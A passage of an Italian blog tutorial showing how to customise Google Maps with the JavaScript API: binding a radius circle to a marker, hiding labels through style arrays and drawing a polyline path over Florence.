Oltre ai marker è possibile aggiungere forme geometriche quali cerchi, rettangoli e poligoni. In particolare i cerchi sono molto utili quando occorre indicare il raggio massimo di azione di qualcosa o qualcuno (consegne a domicilio? antenna trasmettitore GSM?).
Per un cerchio occorre specificare colore, raggio (in metri) e il marker da associare al cerchio (il marker identifica il centro). Nel nostro caso associamo il cerchio al marker numero 1, impostiamo il raggio a 5km e colore #ffff000.

      var styleArray = [{
	featureType: "all",
	stylers: [{ "saturation": 20 },{ "hue": "#103050" }]
      }];					
			
      var mapOptions = {
	scrollwheel: false,
	zoom: 12,
	center: new google.maps.LatLng(43.769562, 11.255814),
	styles: styleArray
      };

      var map = new google.maps.Map(
          document.getElementById('maptest'),
          mapOptions
      );

      // markers

      var marker1 = new google.maps.Marker({
         map: map, 
  	     position: new google.maps.LatLng(43.769562, 11.265814),
             icon: 'http://www.gianlucaghettini.net/wp-content/uploads/2016/10/pin.png'
      });

      var marker2 = new google.maps.Marker({
         map: map, 
  	     position: new google.maps.LatLng(43.769662, 11.356814),
             icon: 'http://www.gianlucaghettini.net/wp-content/uploads/2016/10/pin.png'
      });
      
      var marker3 = new google.maps.Marker({
         map: map, 
  	     position: new google.maps.LatLng(43.799362, 11.283814),
             icon: 'http://www.gianlucaghettini.net/wp-content/uploads/2016/10/pin.png'
      });

      // evento

      marker3.addListener('click', function() {
    	 alert('ok');
      });

      // cerchio

      var circle = new google.maps.Circle({
	 map: map,
         radius: 5000,
  	 fillColor: '#ffff00',
  	 strokeWeight: 0,
      });
		
      circle.bindTo('center', marker1, 'position');  

Risultato:

Il marker 1 identifica il centro del cerchio. Incidentalmente il marker 2 è stato incluso nel cerchio perchè si trova a meno di 5km dal marker 1.

screen-shot-2016-10-15-at-2-09-12-pm

Rimuovere elementi superflui

Di default la mappa contiene molti elementi quali nomi di strade, posti, attività commerciali, nomi di parchi, fiumi etc.. E’ possibile rimuovere selettivamente questi elementi specificandoli nell’oggetto di stile e impostando la visiblità ad OFF. Ad esempio questo è il codice, per rimuovere nomi di attività commerciali, punti di interesse, fiumi, laghi e strade:

  var styleArray = [
   {
	featureType: "all",
	stylers: [{ "saturation": 20 },{ "hue": "#123456" }]
   },
   {
         featureType: "administrative",
         elementType: "labels",
         stylers: [
           { visibility: "off" }
         ]
       },{
         featureType: "poi",
         elementType: "labels",
         stylers: [
           { visibility: "off" }
         ]
       },{
         featureType: "water",
         elementType: "labels",
         stylers: [
           { visibility: "off" }
         ]
       },{
         featureType: "road",
         elementType: "labels",
         stylers: [
           { visibility: "off" }
         ]
       }
];

Risultato:

screen-shot-2016-10-15-at-2-08-47-pm

Disegnare percorsi sulla mappa

E’ possibile passare alla mappa un serie di punti geografici (latitudine, longitudine) e realizzare cosi’ un tracciato arbitrario. Va specificato anche il colore, lo spessore della traccia e opacità:

        var pathCoords = [
          {lat: 43.769562, lng: 11.265814},
          {lat: 43.769362, lng: 11.303814},
          {lat: 43.729362, lng: 11.253814},
          {lat: 43.739362, lng: 11.223814},
          {lat: 43.749362, lng: 11.203814},
          {lat: 43.759362, lng: 11.273814},
          {lat: 43.769362, lng: 11.243814},
          {lat: 43.799362, lng: 11.283814},
        ];
        var path = new google.maps.Polyline({
          path: pathCoords,
          geodesic: true,
          strokeColor: '#FF0000',
          strokeOpacity: 1.0,
          strokeWeight: 2
        });

        path.setMap(map);

Risultato:

screen-shot-2016-10-15-at-2-41-35-pm

Oltre a cerchi e linee è possibile disegnare qualsiasi altra forma geometrica, aggiungere immagini e marcare bordi. Il sito ufficiale include tutorial ed esempi per trasformare e adattare le mappe in qualsiasi modo possibile!

Vedi la DEMO

Vuoi personalizzare una o più mappe Google Maps per integrarla al meglio nel tuo sito internet? Fammi sapere nei commenti oppure contattami!